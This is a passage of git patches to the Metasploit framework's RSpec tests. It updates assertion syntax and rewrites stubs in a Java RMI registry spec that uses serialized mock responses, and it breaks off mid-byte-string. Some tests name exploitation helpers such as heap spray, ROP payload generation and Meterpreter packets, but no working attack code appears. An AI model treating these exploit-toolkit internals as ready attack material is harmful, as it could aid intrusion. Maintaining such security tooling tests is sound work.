@@ -200,7 +200,7 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Db do context "with an invalid type" do it "should print the list of valid types" do db.cmd_creds("-t", "asdf") - expect(@error).to =~ [ + expect(@error).to match_array [ "Unrecognized credential type asdf -- must be one of password,ntlm,hash" ] end @@ -319,7 +319,7 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Db do describe "-h" do it "should show a help message" do db.cmd_db_export "-h" - expect(@output).to =~ [ + expect(@output).to match_array [ "Usage:", " db_export -f <format> [filename]", " Format can be one of: xml, pwdump" @@ -332,7 +332,7 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Db do describe "-h" do it "should show a help message" do db.cmd_db_import "-h" - expect(@output).to =~ [ + expect(@output).to match_array [ "Usage: db_import <filename> [file2...]", "Filenames can be globs like *.xml, or **/*.xml which will search recursively", "Currently supported file types include:", @@ -377,7 +377,7 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Db do describe "-h" do it "should show a help message" do db.cmd_hosts "-h" - expect(@output).to =~ [ + expect(@output).to match_array [ "Usage: hosts [ options ] [addr1 addr2 ...]", "OPTIONS:", " -a,--add Add the hosts instead of searching", @@ -402,7 +402,7 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Db do describe "-h" do it "should show a help message" do db.cmd_loot "-h" - expect(@output).to =~ [ + expect(@output).to match_array [ "Usage: loot <options>", " Info: loot [-h] [addr1 addr2 ...] [-t <type1,type2>]", " Add: loot -f [fname] -i [info] -a [addr1 addr2 ...] [-t [type]", @@ -424,7 +424,7 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Db do describe "-h" do it "should show a help message" do db.cmd_notes "-h" - expect(@output).to =~ [ + expect(@output).to match_array [ "Usage: notes [-h] [-t <type1,type2>] [-n <data string>] [-a] [addr range]", " -a,--add Add a note to the list of addresses, instead of listing", " -d,--delete Delete the hosts instead of searching", @@ -450,7 +450,7 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Db do describe "-h" do it "should show a help message" do db.cmd_services "-h" - expect(@output).to =~ [ + expect(@output).to match_array [ "Usage: services [-h] [-u] [-a] [-r <proto>] [-p <port1,port2>] [-s <name1,name2>] [-o <filename>] [addr1 addr2 ...]", " -a,--add Add the services instead of searching", " -d,--delete Delete the services instead of searching", @@ -476,7 +476,7 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Db do end it "should list services that are on a given port" do db.cmd_services "-p", "1024,1025" - expect(@output).to =~ [ + expect(@output).to match_array [ "Services", "========", "", @@ -516,7 +516,7 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Db do describe "-h" do it "should show a help message" do db.cmd_vulns "-h" - expect(@output).to =~ [ + expect(@output).to match_array [ "Print all vulnerabilities in the database", "Usage: vulns [addr range]", " -h,--help Show this help information", @@ -542,7 +542,7 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Db do describe "<no arguments>" do it "should list default workspace" do db.cmd_workspace - expect(@output).to =~ [ + expect(@output).to match_array [ "* default" ] end @@ -551,7 +551,7 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Db do db.cmd_workspace("-a", "foo") @output = [] db.cmd_workspace - expect(@output).to =~ [ + expect(@output).to match_array [ " default", "* foo" ] @@ -561,7 +561,7 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Db do describe "-a" do it "should add workspaces" do db.cmd_workspace("-a", "foo", "bar", "baf") - expect(@output).to =~ [ + expect(@output).to match_array [ "Added workspace: foo", "Added workspace: bar", "Added workspace: baf" @@ -574,7 +574,7 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Db do db.cmd_workspace("-a", "foo") @output = [] db.cmd_workspace("-d", "foo") - expect(@output).to =~ [ + expect(@output).to match_array [ "Deleted workspace: foo", "Switched workspace: default" ] @@ -586,7 +586,7 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Db do db.cmd_workspace("-a", "foo") @output = [] db.cmd_workspace("-D") - expect(@output).to =~ [ + expect(@output).to match_array [ "Deleted and recreated the default workspace", "Deleted workspace: foo", "Switched workspace: default" @@ -597,7 +597,7 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Db do describe "-h" do it "should show a help message" do db.cmd_workspace "-h" - expect(@output).to =~ [ + expect(@output).to match_array [ "Usage:", " workspace List workspaces", " workspace [name] Switch workspace", diff --git a/spec/lib/rex/exploitation/js/detect_spec.rb b/spec/lib/rex/exploitation/js/detect_spec.rb index a5169184cc..84b6a79487 100644 --- a/spec/lib/rex/exploitation/js/detect_spec.rb +++ b/spec/lib/rex/exploitation/js/detect_spec.rb @@ -7,21 +7,21 @@ RSpec.describe Rex::Exploitation::Js::Detect do context ".os" do it "should load the OS detection in Javascript" do js = Rex::Exploitation::Js::Detect.os.to_s - expect(js).to =~ /os_detect/ + expect(js).to match /os_detect/ end end context ".ie_addons" do it "should load the IE Addons detection in Javascript" do js = Rex::Exploitation::Js::Detect.ie_addons.to_s - expect(js).to =~ /ie_addons_detect/ + expect(js).to match /ie_addons_detect/ end end context ".misc_addons" do it "should load the misc Addons detection in Javascript" do js = Rex::Exploitation::Js::Detect.misc_addons.to_s - expect(js).to =~ /misc_addons_detect/ + expect(js).to match /misc_addons_detect/ end end diff --git a/spec/lib/rex/exploitation/js/memory_spec.rb b/spec/lib/rex/exploitation/js/memory_spec.rb index 1cdc5e0716..833c258f6d 100644 --- a/spec/lib/rex/exploitation/js/memory_spec.rb +++ b/spec/lib/rex/exploitation/js/memory_spec.rb @@ -7,21 +7,21 @@ RSpec.describe Rex::Exploitation::Js::Memory do context ".mstime_malloc" do it "should load the mstime_malloc javascript" do js = Rex::Exploitation::Js::Memory.mstime_malloc - expect(js).to =~ /function mstime_malloc/ + expect(js).to match /function mstime_malloc/ end end context ".property_spray" do it "should load the property_spray javascript" do js = Rex::Exploitation::Js::Memory.property_spray - expect(js).to =~ /function sprayHeap/ + expect(js).to match /function sprayHeap/ end end context ".heap_spray" do it "should load the heap_spray javascript" do js = Rex::Exploitation::Js::Memory.heap_spray - expect(js).to =~ /function sprayHeap/ + expect(js).to match /function sprayHeap/ end end diff --git a/spec/lib/rex/exploitation/js/network_spec.rb b/spec/lib/rex/exploitation/js/network_spec.rb index 61ad8a5c71..27581f04a2 100644 --- a/spec/lib/rex/exploitation/js/network_spec.rb +++ b/spec/lib/rex/exploitation/js/network_spec.rb @@ -7,14 +7,14 @@ RSpec.describe Rex::Exploitation::Js::Network do context ".ajax_download" do it "should load the ajax_download javascript" do js = Rex::Exploitation::Js::Network.ajax_download - expect(js).to =~ /function ajax_download/ + expect(js).to match /function ajax_download/ end end context ".ajax_post" do it "should load the postInfo javascript" do js = Rex::Exploitation::Js::Network.ajax_post - expect(js).to =~ /function postInfo/ + expect(js).to match /function postInfo/ end end diff --git a/spec/lib/rex/exploitation/js/utils_spec.rb b/spec/lib/rex/exploitation/js/utils_spec.rb index 2d4d0043f3..bb95bf0bdf 100644 --- a/spec/lib/rex/exploitation/js/utils_spec.rb +++ b/spec/lib/rex/exploitation/js/utils_spec.rb @@ -7,7 +7,7 @@ RSpec.describe Rex::Exploitation::Js::Utils do context ".base64" do it "should load the base64 javascript" do js = Rex::Exploitation::Js::Utils.base64 - expect(js).to =~ /encode : function/ + expect(js).to match /encode : function/ end end diff --git a/spec/lib/rex/exploitation/ropdb_spec.rb b/spec/lib/rex/exploitation/ropdb_spec.rb index 273570e485..8e96de9d84 100644 --- a/spec/lib/rex/exploitation/ropdb_spec.rb +++ b/spec/lib/rex/exploitation/ropdb_spec.rb @@ -10,7 +10,7 @@ RSpec.describe Rex::Exploitation::RopDb do context ".initialize" do it "should initialize with a path of the ROP database ready" do - expect(ropdb.instance_variable_get(:@base_path)).to =~ /data\/ropdb\/$/ + expect(ropdb.instance_variable_get(:@base_path)).to match /data\/ropdb\/$/ end end @@ -39,12 +39,12 @@ RSpec.describe Rex::Exploitation::RopDb do context ".select_rop" do it "should return msvcrt gadgets" do gadgets = ropdb.select_rop('msvcrt') - expect(gadgets.length).to > 0 + expect(gadgets.length).to be > 0 end it "should return msvcrt gadgets for windows server 2003" do gadgets = ropdb.select_rop('msvcrt', {'target'=>'2003'}) - expect(gadgets.length).to > 0 + expect(gadgets.length).to be > 0 end it "should return msvcrt gadgets with a new base" do @@ -57,11 +57,11 @@ RSpec.describe Rex::Exploitation::RopDb do context ".generate_rop_payload" do it "should generate my ROP payload" do - expect(ropdb.generate_rop_payload('msvcrt', 'AAAA')).to =~ /AAAA$/ + expect(ropdb.generate_rop_payload('msvcrt', 'AAAA')).to match /AAAA$/ end it "should generate my ROP payload with my stack pivot" do - expect(ropdb.generate_rop_payload('msvcrt', 'AAAA', {'pivot'=>'BBBB'})).to =~ /^BBBB/ + expect(ropdb.generate_rop_payload('msvcrt', 'AAAA', {'pivot'=>'BBBB'})).to match /^BBBB/ end end diff --git a/spec/lib/rex/post/meterpreter/packet_spec.rb b/spec/lib/rex/post/meterpreter/packet_spec.rb index 4a4546b098..157dfea901 100644 --- a/spec/lib/rex/post/meterpreter/packet_spec.rb +++ b/spec/lib/rex/post/meterpreter/packet_spec.rb @@ -427,7 +427,7 @@ RSpec.describe Rex::Post::Meterpreter::Packet do end it "should return a valid request id" do - expect(packet.rid).to =~ /\A\d{32}\Z/ + expect(packet.rid).to match /\A\d{32}\Z/ end it "should be created when Packet.create_request is called" do diff --git a/spec/msfupdate_spec.rb b/spec/msfupdate_spec.rb index 28d15c9624..7a2f8562ed 100644 --- a/spec/msfupdate_spec.rb +++ b/spec/msfupdate_spec.rb @@ -122,7 +122,7 @@ RSpec.describe Msfupdate do it "sets @offline_file" do subject.parse_args(args) - expect(subject.instance_variable_get(:@offline_file)).to =~ Regexp.new(Regexp.escape(offline_file)) + expect(subject.instance_variable_get(:@offline_file)).to match Regexp.new(Regexp.escape(offline_file)) end context "with relative path" do @@ -145,7 +145,7 @@ RSpec.describe Msfupdate do it "sets @offline_file" do subject.parse_args(["--offline-file=#{offline_file}"]) - expect(subject.instance_variable_get(:@offline_file)).to =~ Regexp.new(Regexp.escape(offline_file)) + expect(subject.instance_variable_get(:@offline_file)).to match Regexp.new(Regexp.escape(offline_file)) end end end From c3e2615a2381813f8cc6bf0a08dd6ac1bf455a3a Mon Sep 17 00:00:00 2001 From: Luke Imhoff <luke_imhoff@rapid7.com> Date: Fri, 13 Nov 2015 11:32:55 -0600 Subject: [PATCH 1529/2172] Implement stub methods instead using allow which verifies MSP-13484 --- .../remote/java/rmi/client/registry_spec.rb | 321 +++++++++--------- .../share/command/trans2/find_first2_spec.rb | 4 +- 2 files changed, 160 insertions(+), 165 deletions(-) diff --git a/spec/lib/msf/core/exploit/remote/java/rmi/client/registry_spec.rb b/spec/lib/msf/core/exploit/remote/java/rmi/client/registry_spec.rb index 249e9c7c49..ef25deb248 100644 --- a/spec/lib/msf/core/exploit/remote/java/rmi/client/registry_spec.rb +++ b/spec/lib/msf/core/exploit/remote/java/rmi/client/registry_spec.rb @@ -7,133 +7,6 @@ require 'msf/core/exploit/java/rmi/client' require 'stringio' RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Registry do - - let(:list_with_names_response) do - "\x51\xac\xed\x00\x05\x77\x0f\x01\x82\x73\x92\x35\x00\x00\x01\x4c" + - "\x48\x27\x84\x49\x80\xb9\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61" + - "\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x3b\xad\xd2\x56" + - "\xe7\xe9\x1d\x7b\x47\x02\x00\x00\x70\x78\x70\x00\x00\x00\x01\x74" + - "\x00\x06\x6a\x6d\x78\x72\x6d\x69" - end - - let(:list_empty_response) do - "\x51\xac\xed\x00\x05\x77\x0f\x01\xbb\x2e\x19\xae\x00\x00\x01\x4c" + - "\x32\xa9\x92\x56\x80\x04\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61" + - "\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x3b\xad\xd2\x56" + - "\xe7\xe9\x1d\x7b\x47\x02\x00\x00\x70\x78\x70\x00\x00\x00\x00" - end - - let(:lookup_response) do - "\x51\xac\xed\x00\x05\x77\x0f\x01\x82\x73\x92\x35\x00\x00\x01\x4c" + - "\x48\x27\x84\x49\x80\xba\x73\x72\x00\x2e\x6a\x61\x76\x61\x78\x2e" + - "\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x72\x65\x6d\x6f\x74" + - "\x65\x2e\x72\x6d\x69\x2e\x52\x4d\x49\x53\x65\x72\x76\x65\x72\x49" + - "\x6d\x70\x6c\x5f\x53\x74\x75\x62\x00\x00\x00\x00\x00\x00\x00\x02" + - "\x02\x00\x00\x70\x78\x72\x00\x1a\x6a\x61\x76\x61\x2e\x72\x6d\x69" + - "\x2e\x73\x65\x72\x76\x65\x72\x2e\x52\x65\x6d\x6f\x74\x65\x53\x74" + - "\x75\x62\xe9\xfe\xdc\xc9\x8b\xe1\x65\x1a\x02\x00\x00\x70\x78\x72" + - "\x00\x1c\x6a\x61\x76\x61\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76\x65" + - "\x72\x2e\x52\x65\x6d\x6f\x74\x65\x4f\x62\x6a\x65\x63\x74\xd3\x61" + - "\xb4\x91\x0c\x61\x33\x1e\x03\x00\x00\x70\x78\x70\x77\x37\x00\x0a" + - "\x55\x6e\x69\x63\x61\x73\x74\x52\x65\x66\x00\x0e\x31\x37\x32\x2e" + - "\x31\x36\x2e\x31\x35\x38\x2e\x31\x33\x32\x00\x00\x13\x26\xa0\x59" + - "\x9d\x0d\x09\xd3\x01\xbd\x82\x73\x92\x35\x00\x00\x01\x4c\x48\x27" + - "\x84\x49\x80\x01\x01\x78" - end - - let(:lookup_exception) do - "\x51\xac\xed\x00\x05\x77\x0f\x02\x82\x73\x92\x35\x00\x00\x01\x4c" + - "\x48\x27\x84\x49\x80\xbc\x73\x72\x00\x1a\x6a\x61\x76\x61\x2e\x72" + - "\x6d\x69\x2e\x4e\x6f\x74\x42\x6f\x75\x6e\x64\x45\x78\x63\x65\x70" + - "\x74\x69\x6f\x6e\xe6\x37\xf9\xa7\x2d\x7c\x3a\xfb\x02\x00\x00\x70" + - "\x78\x72\x00\x13\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x45\x78" + - "\x63\x65\x70\x74\x69\x6f\x6e\xd0\xfd\x1f\x3e\x1a\x3b\x1c\xc4\x02" + - "\x00\x00\x70\x78\x72\x00\x13\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67" + - "\x2e\x54\x68\x72\x6f\x77\x61\x62\x6c\x65\xd5\xc6\x35\x27\x39\x77" + - "\xb8\xcb\x03\x00\x04\x4c\x00\x05\x63\x61\x75\x73\x65\x74\x00\x15" + - "\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x54\x68\x72\x6f\x77" + - "\x61\x62\x6c\x65\x3b\x4c\x00\x0d\x64\x65\x74\x61\x69\x6c\x4d\x65" + - "\x73\x73\x61\x67\x65\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61" + - "\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x5b\x00\x0a\x73\x74\x61" + - "\x63\x6b\x54\x72\x61\x63\x65\x74\x00\x1e\x5b\x4c\x6a\x61\x76\x61" + - "\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x61\x63\x6b\x54\x72\x61\x63\x65" + - "\x45\x6c\x65\x6d\x65\x6e\x74\x3b\x4c\x00\x14\x73\x75\x70\x70\x72" + - "\x65\x73\x73\x65\x64\x45\x78\x63\x65\x70\x74\x69\x6f\x6e\x73\x74" + - "\x00\x10\x4c\x6a\x61\x76\x61\x2f\x75\x74\x69\x6c\x2f\x4c\x69\x73" + - "\x74\x3b\x70\x78\x70\x71\x00\x7e\x00\x07\x74\x00\x2f\x4e\x6f\x74" + - "\x20\x62\x6f\x75\x6e\x64\x3a\x20\x22\x74\x65\x73\x74\x22\x20\x28" + - "\x6f\x6e\x6c\x79\x20\x62\x6f\x75\x6e\x64\x20\x6e\x61\x6d\x65\x20" + - "\x69\x73\x20\x22\x6a\x6d\x78\x72\x6d\x69\x22\x29\x75\x72\x00\x1e" + - "\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x61\x63" + - "\x6b\x54\x72\x61\x63\x65\x45\x6c\x65\x6d\x65\x6e\x74\x3b\x02\x46" + - "\x2a\x3c\x3c\xfd\x22\x39\x02\x00\x00\x70\x78\x70\x00\x00\x00\x0e" + - "\x73\x72\x00\x1b\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74" + - "\x61\x63\x6b\x54\x72\x61\x63\x65\x45\x6c\x65\x6d\x65\x6e\x74\x61" + - "\x09\xc5\x9a\x26\x36\xdd\x85\x02\x00\x04\x49\x00\x0a\x6c\x69\x6e" + - "\x65\x4e\x75\x6d\x62\x65\x72\x4c\x00\x0e\x64\x65\x63\x6c\x61\x72" + - "\x69\x6e\x67\x43\x6c\x61\x73\x73\x71\x00\x7e\x00\x04\x4c\x00\x08" + - "\x66\x69\x6c\x65\x4e\x61\x6d\x65\x71\x00\x7e\x00\x04\x4c\x00\x0a" + - "\x6d\x65\x74\x68\x6f\x64\x4e\x61\x6d\x65\x71\x00\x7e\x00\x04\x70" + - "\x78\x70\xff\xff\xff\xff\x74\x00\x2c\x73\x75\x6e\x2e\x6d\x61\x6e" + - "\x61\x67\x65\x6d\x65\x6e\x74\x2e\x6a\x6d\x78\x72\x65\x6d\x6f\x74" + - "\x65\x2e\x53\x69\x6e\x67\x6c\x65\x45\x6e\x74\x72\x79\x52\x65\x67" + - "\x69\x73\x74\x72\x79\x70\x74\x00\x06\x6c\x6f\x6f\x6b\x75\x70\x73" + - "\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x74\x00\x22\x73\x75\x6e\x2e" + - "\x72\x6d\x69\x2e\x72\x65\x67\x69\x73\x74\x72\x79\x2e\x52\x65\x67" + - "\x69\x73\x74\x72\x79\x49\x6d\x70\x6c\x5f\x53\x6b\x65\x6c\x70\x74" + - "\x00\x08\x64\x69\x73\x70\x61\x74\x63\x68\x73\x71\x00\x7e\x00\x0b" + - "\xff\xff\xff\xff\x74\x00\x1f\x73\x75\x6e\x2e\x72\x6d\x69\x2e\x73" + - "\x65\x72\x76\x65\x72\x2e\x55\x6e\x69\x63\x61\x73\x74\x53\x65\x72" + - "\x76\x65\x72\x52\x65\x66\x70\x74\x00\x0b\x6f\x6c\x64\x44\x69\x73" + - "\x70\x61\x74\x63\x68\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x71" + - "\x00\x7e\x00\x13\x70\x71\x00\x7e\x00\x11\x73\x71\x00\x7e\x00\x0b" + - "\xff\xff\xff\xff\x74\x00\x1d\x73\x75\x6e\x2e\x72\x6d\x69\x2e\x74" + - "\x72\x61\x6e\x73\x70\x6f\x72\x74\x2e\x54\x72\x61\x6e\x73\x70\x6f" + - "\x72\x74\x24\x31\x70\x74\x00\x03\x72\x75\x6e\x73\x71\x00\x7e\x00" + - "\x0b\xff\xff\xff\xff\x71\x00\x7e\x00\x17\x70\x71\x00\x7e\x00\x18" + - "\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xfe\x74\x00\x1e\x6a\x61\x76" + - "\x61\x2e\x73\x65\x63\x75\x72\x69\x74\x79\x2e\x41\x63\x63\x65\x73" + - "\x73\x43\x6f\x6e\x74\x72\x6f\x6c\x6c\x65\x72\x70\x74\x00\x0c\x64" + - "\x6f\x50\x72\x69\x76\x69\x6c\x65\x67\x65\x64\x73\x71\x00\x7e\x00" + - "\x0b\xff\xff\xff\xff\x74\x00\x1b\x73\x75\x6e\x2e\x72\x6d\x69\x2e" + - "\x74\x72\x61\x6e\x73\x70\x6f\x72\x74\x2e\x54\x72\x61\x6e\x73\x70" + - "\x6f\x72\x74\x70\x74\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x43\x61" + - "\x6c\x6c\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x74\x00\x22\x73" + - "\x75\x6e\x2e\x72\x6d\x69\x2e\x74\x72\x61\x6e\x73\x70\x6f\x72\x74" + - "\x2e\x74\x63\x70\x2e\x54\x43\x50\x54\x72\x61\x6e\x73\x70\x6f\x72" + - "\x74\x70\x74\x00\x0e\x68\x61\x6e\x64\x6c\x65\x4d\x65\x73\x73\x61" + - "\x67\x65\x73\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x74\x00\x34" + - "\x73\x75\x6e\x2e\x72\x6d\x69\x2e\x74\x72\x61\x6e\x73\x70\x6f\x72" + - "\x74\x2e\x74\x63\x70\x2e\x54\x43\x50\x54\x72\x61\x6e\x73\x70\x6f" + - "\x72\x74\x24\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e\x48\x61\x6e" + - "\x64\x6c\x65\x72\x70\x74\x00\x04\x72\x75\x6e\x30\x73\x71\x00\x7e" + - "\x00\x0b\xff\xff\xff\xff\x71\x00\x7e\x00\x24\x70\x71\x00\x7e\x00" + - "\x18\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x74\x00\x27\x6a\x61" + - "\x76\x61\x2e\x75\x74\x69\x6c\x2e\x63\x6f\x6e\x63\x75\x72\x72\x65" + - "\x6e\x74\x2e\x54\x68\x72\x65\x61\x64\x50\x6f\x6f\x6c\x45\x78\x65" + - "\x63\x75\x74\x6f\x72\x70\x74\x00\x09\x72\x75\x6e\x57\x6f\x72\x6b" + - "\x65\x72\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x74\x00\x2e\x6a" + - "\x61\x76\x61\x2e\x75\x74\x69\x6c\x2e\x63\x6f\x6e\x63\x75\x72\x72" + - "\x65\x6e\x74\x2e\x54\x68\x72\x65\x61\x64\x50\x6f\x6f\x6c\x45\x78" + - "\x65\x63\x75\x74\x6f\x72\x24\x57\x6f\x72\x6b\x65\x72\x70\x71\x00" + - "\x7e\x00\x18\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x74\x00\x10" + - "\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x54\x68\x72\x65\x61\x64" + - "\x70\x71\x00\x7e\x00\x18\x73\x72\x00\x26\x6a\x61\x76\x61\x2e\x75" + - "\x74\x69\x6c\x2e\x43\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x73\x24" + - "\x55\x6e\x6d\x6f\x64\x69\x66\x69\x61\x62\x6c\x65\x4c\x69\x73\x74" + - "\xfc\x0f\x25\x31\xb5\xec\x8e\x10\x02\x00\x01\x4c\x00\x04\x6c\x69" + - "\x73\x74\x71\x00\x7e\x00\x06\x70\x78\x72\x00\x2c\x6a\x61\x76\x61" + - "\x2e\x75\x74\x69\x6c\x2e\x43\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e" + - "\x73\x24\x55\x6e\x6d\x6f\x64\x69\x66\x69\x61\x62\x6c\x65\x43\x6f" + - "\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x19\x42\x00\x80\xcb\x5e\xf7\x1e" + - "\x02\x00\x01\x4c\x00\x01\x63\x74\x00\x16\x4c\x6a\x61\x76\x61\x2f" + - "\x75\x74\x69\x6c\x2f\x43\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x3b" + - "\x70\x78\x70\x73\x72\x00\x13\x6a\x61\x76\x61\x2e\x75\x74\x69\x6c" + - "\x2e\x41\x72\x72\x61\x79\x4c\x69\x73\x74\x78\x81\xd2\x1d\x99\xc7" + - "\x61\x9d\x03\x00\x01\x49\x00\x04\x73\x69\x7a\x65\x70\x78\x70\x00" + - "\x00\x00\x00\x77\x04\x00\x00\x00\x00\x78\x71\x00\x7e\x00\x33\x78" - end - let(:name) do 'jmxrmi' end @@ -154,19 +27,24 @@ RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Registry do describe "#send_registry_list" do context "when there aren't names registered" do before(:each) do - allow_any_instance_of(::StringIO).to receive(:put) do |io, data| - io.seek(0) - io.write(list_empty_response) - io.seek(0) + io.define_singleton_method(:put) do |data| + seek(0) + write( + "\x51\xac\xed\x00\x05\x77\x0f\x01\xbb\x2e\x19\xae\x00\x00\x01\x4c" + + "\x32\xa9\x92\x56\x80\x04\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61" + + "\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x3b\xad\xd2\x56" + + "\xe7\xe9\x1d\x7b\x47\x02\x00\x00\x70\x78\x70\x00\x00\x00\x00" + ) + seek(0) end - allow_any_instance_of(::StringIO).to receive(:get_once) do |io, length, timeout| - io.read - end + io.define_singleton_method(:get_once) { |length=0, timeout=nil| + read + } - allow_any_instance_of(::StringIO).to receive(:has_read_data?) do |io| + io.define_singleton_method(:has_read_data?) { |timeout=nil| false - end + } end it "returns empty array" do @@ -175,20 +53,30 @@ RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Registry do end context "when there are names registered" do + # + # Callbacks + # + before(:each) do - allow_any_instance_of(::StringIO).to receive(:put) do |io, data| - io.seek(0) - io.write(list_with_names_response) - io.seek(0) + io.define_singleton_method(:put) do |data| + seek(0) + write( + "\x51\xac\xed\x00\x05\x77\x0f\x01\x82\x73\x92\x35\x00\x00\x01\x4c" + + "\x48\x27\x84\x49\x80\xb9\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61" + + "\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x3b\xad\xd2\x56" + + "\xe7\xe9\x1d\x7b\x47\x02\x00\x00\x70\x78\x70\x00\x00\x00\x01\x74" + + "\x00\x06\x6a\x6d\x78\x72\x6d\x69" + ) + seek(0) end - allow_any_instance_of(::StringIO).to receive(:get_once) do |io, length, timeout| - io.read - end + io.define_singleton_method(:get_once) { |length=0, timeout=nil| + read + } - allow_any_instance_of(::StringIO).to receive(:has_read_data?) do |io| + io.define_singleton_method(:has_read_data?) { |timeout=0| false - end + } end it "returns the list of registered names" do @@ -201,19 +89,110 @@ RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Registry do describe "#send_registry_lookup" do context "when there isn't an interface bound" do before(:each) do - allow_any_instance_of(::StringIO).to receive(:put) do |io, data| - io.seek(0) - io.write(lookup_exception) - io.seek(0) + io.define_singleton_method(:put) do |data| + seek(0) + write( + "\x51\xac\xed\x00\x05\x77\x0f\x02\x82\x73\x92\x35\x00\x00\x01\x4c" + + "\x48\x27\x84\x49\x80\xbc\x73\x72\x00\x1a\x6a\x61\x76\x61\x2e\x72" + + "\x6d\x69\x2e\x4e\x6f\x74\x42\x6f\x75\x6e\x64\x45\x78\x63\x65\x70" + + "\x74\x69\x6f\x6e\xe6\x37\xf9\xa7\x2d\x7c\x3a\xfb\x02\x00\x00\x70" + + "\x78\x72\x00\x13\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x45\x78" + + "\x63\x65\x70\x74\x69\x6f\x6e\xd0\xfd\x1f\x3e\x1a\x3b\x1c\xc4\x02" + + "\x00\x00\x70\x78\x72\x00\x13\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67" + + "\x2e\x54\x68\x72\x6f\x77\x61\x62\x6c\x65\xd5\xc6\x35\x27\x39\x77" + + "\xb8\xcb\x03\x00\x04\x4c\x00\x05\x63\x61\x75\x73\x65\x74\x00\x15" + + "\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x54\x68\x72\x6f\x77" + + "\x61\x62\x6c\x65\x3b\x4c\x00\x0d\x64\x65\x74\x61\x69\x6c\x4d\x65" + + "\x73\x73\x61\x67\x65\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61" + + "\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x5b\x00\x0a\x73\x74\x61" + + "\x63\x6b\x54\x72\x61\x63\x65\x74\x00\x1e\x5b\x4c\x6a\x61\x76\x61" + + "\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x61\x63\x6b\x54\x72\x61\x63\x65" + + "\x45\x6c\x65\x6d\x65\x6e\x74\x3b\x4c\x00\x14\x73\x75\x70\x70\x72" + + "\x65\x73\x73\x65\x64\x45\x78\x63\x65\x70\x74\x69\x6f\x6e\x73\x74" + + "\x00\x10\x4c\x6a\x61\x76\x61\x2f\x75\x74\x69\x6c\x2f\x4c\x69\x73" + + "\x74\x3b\x70\x78\x70\x71\x00\x7e\x00\x07\x74\x00\x2f\x4e\x6f\x74" + + "\x20\x62\x6f\x75\x6e\x64\x3a\x20\x22\x74\x65\x73\x74\x22\x20\x28" + + "\x6f\x6e\x6c\x79\x20\x62\x6f\x75\x6e\x64\x20\x6e\x61\x6d\x65\x20" + + "\x69\x73\x20\x22\x6a\x6d\x78\x72\x6d\x69\x22\x29\x75\x72\x00\x1e" + + "\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x61\x63" + + "\x6b\x54\x72\x61\x63\x65\x45\x6c\x65\x6d\x65\x6e\x74\x3b\x02\x46" + + "\x2a\x3c\x3c\xfd\x22\x39\x02\x00\x00\x70\x78\x70\x00\x00\x00\x0e" + + "\x73\x72\x00\x1b\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74" + + "\x61\x63\x6b\x54\x72\x61\x63\x65\x45\x6c\x65\x6d\x65\x6e\x74\x61" + + "\x09\xc5\x9a\x26\x36\xdd\x85\x02\x00\x04\x49\x00\x0a\x6c\x69\x6e" + + 